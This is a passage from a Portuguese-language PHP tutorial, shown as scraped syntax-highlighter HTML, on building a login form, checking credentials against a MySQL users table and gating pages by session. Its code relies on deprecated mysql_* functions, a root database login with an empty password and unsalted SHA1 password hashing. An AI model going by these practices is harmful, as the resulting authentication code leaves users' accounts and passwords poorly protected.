<div class="line alt2"><code class="number">02.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;</code><code class="keyword">form</code> <code class="color1">action</code><code class="plain">=</code><code class="string">"validacao.php"</code> <code class="color1">method</code><code class="plain">=</code><code class="string">"post"</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;</code><code class="keyword">fieldset</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;</code><code class="keyword">legend</code><code class="plain">&gt;Dados de Login&lt;/</code><code class="keyword">legend</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">&lt;</code><code class="keyword">label</code> <code class="color1">for</code><code class="plain">=</code><code class="string">"txUsuario"</code><code class="plain">&gt;Usuário&lt;/</code><code class="keyword">label</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">&lt;</code><code class="keyword">input</code> <code class="color1">type</code><code class="plain">=</code><code class="string">"text"</code> <code class="color1">name</code><code class="plain">=</code><code class="string">"usuario"</code> <code class="color1">id</code><code class="plain">=</code><code class="string">"txUsuario"</code> <code class="color1">maxlength</code><code class="plain">=</code><code class="string">"25"</code> <code class="plain">/&gt; </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">&lt;</code><code class="keyword">label</code> <code class="color1">for</code><code class="plain">=</code><code class="string">"txSenha"</code><code class="plain">&gt;Senha&lt;/</code><code class="keyword">label</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">&lt;</code><code class="keyword">input</code> <code class="color1">type</code><code class="plain">=</code><code class="string">"password"</code> <code class="color1">name</code><code class="plain">=</code><code class="string">"senha"</code> <code class="color1">id</code><code class="plain">=</code><code class="string">"txSenha"</code> <code class="plain">/&gt; </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">&lt;</code><code class="keyword">input</code> <code class="color1">type</code><code class="plain">=</code><code class="string">"submit"</code> <code class="color1">value</code><code class="plain">=</code><code class="string">"Entrar"</code> <code class="plain">/&gt; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;/</code><code class="keyword">fieldset</code><code class="plain">&gt; </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;/</code><code class="keyword">form</code><code class="plain">&gt;</code></span></span></div>
</div>
</div>
<p>Como esse artigo não é uma aula sobre formulários e método POST eu vou pular a parte que fala sobre os names desses inputs e a relação deles com o PHP em si.</p>
<p> </p>
<h3>A validação dos dados</h3>
<p>Já temos o banco de dados e o formulário de login… Agora vamos começar a fazer a validação. Os próximos códigos deverão ser colocados dentro do <strong style="background: gray; color: white;">validacao.php</strong> que irá tratar os dados recebidos do formulário:</p>
<p>Primeiro de tudo nós precisamos verificar se o usuário de fato preencheu algo no formulário, caso contrário mandamos ele de volta para o <strong style="background: gray; color: white;">index.php</strong>:</p>
<div id="highlighter_72903" class="syntaxhighlighter syntaxhighl">
<div class="bar ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_72903_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_72903_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Verifica se houve POST e se o usuário ou a senha é(são) vazio(s) </code></span></span></div>
<div class="line alt2"><code class="number">4.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">) AND (</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'usuario'</code><code class="plain">]) OR </code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'senha'</code><code class="plain">]))) { </code></span></span></div>
<div class="line alt1"><code class="number">5.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">6.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">7.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">8.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Com isso, todo código que vier depois desse if estará seguro de que os dados foram preenchidos no formulário.</p>
<p>Agora nós iremos abrir uma conexão com o MySQL mas essa conexão pode ser feita de outra forma, até antes do if se você preferir… Depois de abrir a conexão nós iremos transmitir os dois valores inseridos pelo visitante (usuário e senha) para novas variáveis e usaremos o <strong style="background: gray; color: orange;">mysql_real_escape_string()</strong> para evitar erros no MySQL.</p>
<div id="highlighter_696194" class="syntaxhighlighter syntaxhighl">
<div class="bar    ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_696194_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_696194_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Verifica se houve POST e se o usuário ou a senha é(são) vazio(s) </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">) AND (</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'usuario'</code><code class="plain">]) OR </code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'senha'</code><code class="plain">]))) { </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Tenta se conectar ao servidor MySQL </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_connect(</code><code class="string">'localhost'</code><code class="plain">, </code><code class="string">'root'</code><code class="plain">, </code><code class="string">''</code><code class="plain">) </code><code class="keyword">or</code> <code class="plain">trigger_error(mysql_error()); </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Tenta se conectar a um banco de dados MySQL </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_select_db(</code><code class="string">'usuarios'</code><code class="plain">) </code><code class="keyword">or</code> <code class="plain">trigger_error(mysql_error()); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$usuario</code> <code class="plain">= mysql_real_escape_string(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'usuario'</code><code class="plain">]); </code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$senha</code> <code class="plain">= mysql_real_escape_string(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'senha'</code><code class="plain">]); </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Agora é hora de validar os dados contra a tabela de usuários:</p>
<div id="highlighter_968470" class="syntaxhighlighter syntaxhighl">
<div class="bar    ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_968470_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_968470_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Verifica se houve POST e se o usuário ou a senha é(são) vazio(s) </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">) AND (</code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'usuario'</code><code class="plain">]) OR </code><code class="functions">empty</code><code class="plain">(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'senha'</code><code class="plain">]))) { </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Tenta se conectar ao servidor MySQL </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_connect(</code><code class="string">'localhost'</code><code class="plain">, </code><code class="string">'root'</code><code class="plain">, </code><code class="string">''</code><code class="plain">) </code><code class="keyword">or</code> <code class="plain">trigger_error(mysql_error()); </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Tenta se conectar a um banco de dados MySQL </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_select_db(</code><code class="string">'usuarios'</code><code class="plain">) </code><code class="keyword">or</code> <code class="plain">trigger_error(mysql_error()); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$usuario</code> <code class="plain">= mysql_real_escape_string(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'usuario'</code><code class="plain">]); </code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$senha</code> <code class="plain">= mysql_real_escape_string(</code><code class="variable">$_POST</code><code class="plain">[</code><code class="string">'senha'</code><code class="plain">]); </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Validação do usuário/senha digitados </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$sql</code> <code class="plain">= </code><code class="string">"SELECT `id`, `nome`, `nivel` FROM `usuarios` WHERE (`usuario` = '"</code><code class="plain">. </code><code class="variable">$usuario</code> <code class="plain">.</code><code class="string">"') AND (`senha` = '"</code><code class="plain">. sha1(</code><code class="variable">$senha</code><code class="plain">) .</code><code class="string">"') AND (`ativo` = 1) LIMIT 1"</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">18.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$query</code> <code class="plain">= mysql_query(</code><code class="variable">$sql</code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">19.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(mysql_num_rows(</code><code class="variable">$query</code><code class="plain">) != 1) { </code></span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Mensagem de erro quando os dados são inválidos e/ou o usuário não foi encontrado </code></span></span></div>
<div class="line alt1"><code class="number">21.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">"Login inválido!"</code><code class="plain">; </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">22.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code><code class="keyword">else</code> <code class="plain">{ </code></span></span></div>
<div class="line alt1"><code class="number">23.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Salva os dados encontados na variável $resultado </code></span></span></div>
<div class="line alt2"><code class="number">24.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$resultado</code> <code class="plain">= mysql_fetch_assoc(</code><code class="variable">$query</code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">25.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt2"><code class="number">26.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">27.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Repare que estamos buscando registros que tenham o usuário igual ao digitado pelo visitante e que tenham uma senha igual a versão SHA1 da senha digitada pelo visitante… Também buscamos apenas por registros de usuários que estejam ativos, assim quando você precisar remover um usuário do sistema, mas não pode simplesmente excluir o registro é só trocar o valor da coluna ativo pra zero. <img class="wp-smiley" src="http://thiagobelem.net/blog/wp-includes/images/smilies/icon_wink.gif" alt=";)" /></p>
<p>A consulta gerada fica mais ou menos assim:</p>
<div id="highlighter_895119" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">`id`, `nome`, `nivel` </code><code class="keyword">FROM</code> <code class="plain">`usuarios` </code><code class="keyword">WHERE</code> <code class="plain">(`usuario` = </code><code class="string">'a'</code><code class="plain">) </code><code class="color1">AND</code> <code class="plain">(`senha` = </code><code class="string">'e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98'</code><code class="plain">) </code><code class="color1">AND</code> <code class="plain">(`ativo` = 1) LIMIT 1</code></span></span></div>
</div>
</div>
<p>Depois de rodar a consulta (query) nós verificamos se o número de resultados encontrados (ou não) é diferente de um, caso seja é exibida uma mensagem de erro acompanhada de um exit que finaliza o script… Caso ele encontre apenas um resultado nós temos o nosso usuário e já puxamos o seu ID, nome e nível de acesso do banco de dados.</p>
<p> </p>
<h3>Salvando os dados na sessão</h3>
<p>Agora nós precisamos salvar os dados encontrados na sessão pois eles serão utilizados mais tarde, em outras páginas e eles precisam “persistir” até lá… Depois de salvar os dados na sessão nós iremos redirecionar o visitante para uma página restrita:</p>
<div id="highlighter_899835" class="syntaxhighlighter syntaxhighl">
<div class="bar   ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_899835_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_899835_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">19.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(mysql_num_rows(</code><code class="variable">$query</code><code class="plain">) != 1) { </code></span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Mensagem de erro quando os dados são inválidos e/ou o usuário não foi encontrado </code></span></span></div>
<div class="line alt1"><code class="number">21.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">"Login inválido!"</code><code class="plain">; </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">22.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code><code class="keyword">else</code> <code class="plain">{ </code></span></span></div>
<div class="line alt1"><code class="number">23.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Salva os dados encontados na variável $resultado </code></span></span></div>
<div class="line alt2"><code class="number">24.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$resultado</code> <code class="plain">= mysql_fetch_assoc(</code><code class="variable">$query</code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">25.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">26.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Se a sessão não existir, inicia uma </code></span></span></div>
<div class="line alt1"><code class="number">27.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword">if</code> <code class="plain">(!isset(</code><code class="variable">$_SESSION</code><code class="plain">)) session_start(); </code></span></span></div>
<div class="line alt2"><code class="number">28.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">29.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Salva os dados encontrados na sessão </code></span></span></div>
<div class="line alt2"><code class="number">30.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioID'</code><code class="plain">] = </code><code class="variable">$resultado</code><code class="plain">[</code><code class="string">'id'</code><code class="plain">]; </code></span></span></div>
<div class="line alt1"><code class="number">31.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioNome'</code><code class="plain">] = </code><code class="variable">$resultado</code><code class="plain">[</code><code class="string">'nome'</code><code class="plain">]; </code></span></span></div>
<div class="line alt2"><code class="number">32.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioNivel'</code><code class="plain">] = </code><code class="variable">$resultado</code><code class="plain">[</code><code class="string">'nivel'</code><code class="plain">];                  </code></span></span></div>
<div class="line alt1"><code class="number">33.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">34.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Redireciona o visitante </code></span></span></div>
<div class="line alt1"><code class="number">35.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: restrito.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">36.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">}</code></span></span></div>
</div>
</div>
<p> </p>
<h3>Verificando se o usuário está logado</h3>
<p>Nosso sistema de login está quase completo! Agora só precisamos verificar se o usuário está logado no sistema e se o seu o nível de acesso condiz com o da página… Vamos agora escrever um pequeno bloco de PHP no início do arquivo <strong style="background: gray; color: white;">restrito.php</strong> (que só deve ser acessado por usuários logados):</p>
<div id="highlighter_70692" class="syntaxhighlighter syntaxhighl">
<div class="bar   ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_70692_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_70692_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// A sessão precisa ser iniciada em cada página diferente </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!isset(</code><code class="variable">$_SESSION</code><code class="plain">)) session_start(); </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Verifica se não há a variável da sessão que identifica o usuário </code></span></span></div>
<div class="line alt1 highlighted"><code class="number">07.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!isset(</code><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioID'</code><code class="plain">])) { </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Destrói a sessão por segurança </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">session_destroy(); </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Redireciona o visitante de volta pro login </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt; </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;h1&gt;Página restrita&lt;/h1&gt; </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;p&gt;Olá, &lt;?php </code><code class="functions">echo</code> <code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioNome'</code><code class="plain">]; ?&gt;!&lt;/p&gt;</code></span></span></div>
</div>
</div>
<p>Pronto meu amigo! O seu sistema de login está pronto para funcionar… Só vamos fazer alguns incrementos para ele ficar mais “usável”… Agora você vai ver como fazer a verificação de usuário logado e de nível de acesso, por exemplo para uma página onde apenas os administradores possam ter acesso:</p>
<div id="highlighter_488634" class="syntaxhighlighter syntaxhighl">
<div class="bar      ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_488634_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_488634_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// A sessão precisa ser iniciada em cada página diferente </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!isset(</code><code class="variable">$_SESSION</code><code class="plain">)) session_start(); </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2 highlighted"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$nivel_necessario</code> <code class="plain">= 2; </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
